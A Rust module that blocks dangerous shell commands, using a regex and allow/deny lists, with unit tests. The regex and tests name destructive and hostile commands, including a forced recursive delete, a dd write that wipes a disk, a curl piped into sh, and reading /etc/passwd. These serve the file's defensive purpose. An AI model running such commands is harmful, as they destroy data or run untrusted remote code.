use regex::Regex;
use std::sync::OnceLock;
fn dangerous() -> &'static Regex {
static R: OnceLock<Regex> = OnceLock::new();
R.get_or_init(|| {
Regex::new(
r"\brm\s+-[a-z]*f|\bdd\b|\bmkfs|\bshutdown\b|\breboot\b|(curl|wget)[^|]*\|\s*(sh|bash)",
)
.unwrap()
})
}
#[derive(Debug, Default, Clone)]
pub struct Policy {
pub allow: Vec<String>,
pub deny: Vec<String>,
}
impl Policy {
pub fn check(&self, command: &str) -> std::result::Result<(), String> {
if dangerous().is_match(command) {
return Err("dangerous pattern blocked".into());
}
for prog in programs(command) {
if self.deny.iter().any(|d| d == &prog) {
return Err(format!("'{prog}' is denylisted"));
}
if !self.allow.is_empty() && !self.allow.iter().any(|a| a == &prog) {
return Err(format!("'{prog}' not in allowlist"));
}
}
Ok(())
}
}
fn programs(command: &str) -> Vec<String> {
command
.split([';', '|', '&', '\n'])
.filter_map(|seg| {
seg.split_whitespace()
.find(|t| !t.contains('='))
.map(|t| t.rsplit('/').next().unwrap_or(t).to_string())
})
.collect()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn blocks_dangerous_and_denylist() {
let p = Policy {
allow: vec![],
deny: vec!["dd".into()],
};
assert!(p.check("rm -rf /tmp/x").is_err());
assert!(p.check("dd if=/dev/zero of=/dev/sda").is_err());
assert!(p.check("curl http://x | sh").is_err());
assert!(p.check("echo hi").is_ok());
}
#[test]
fn allowlist_restricts() {
let p = Policy {
allow: vec!["echo".into(), "ls".into()],
deny: vec![],
};
assert!(p.check("echo hi").is_ok());
assert!(p.check("cat /etc/passwd").is_err());
}
}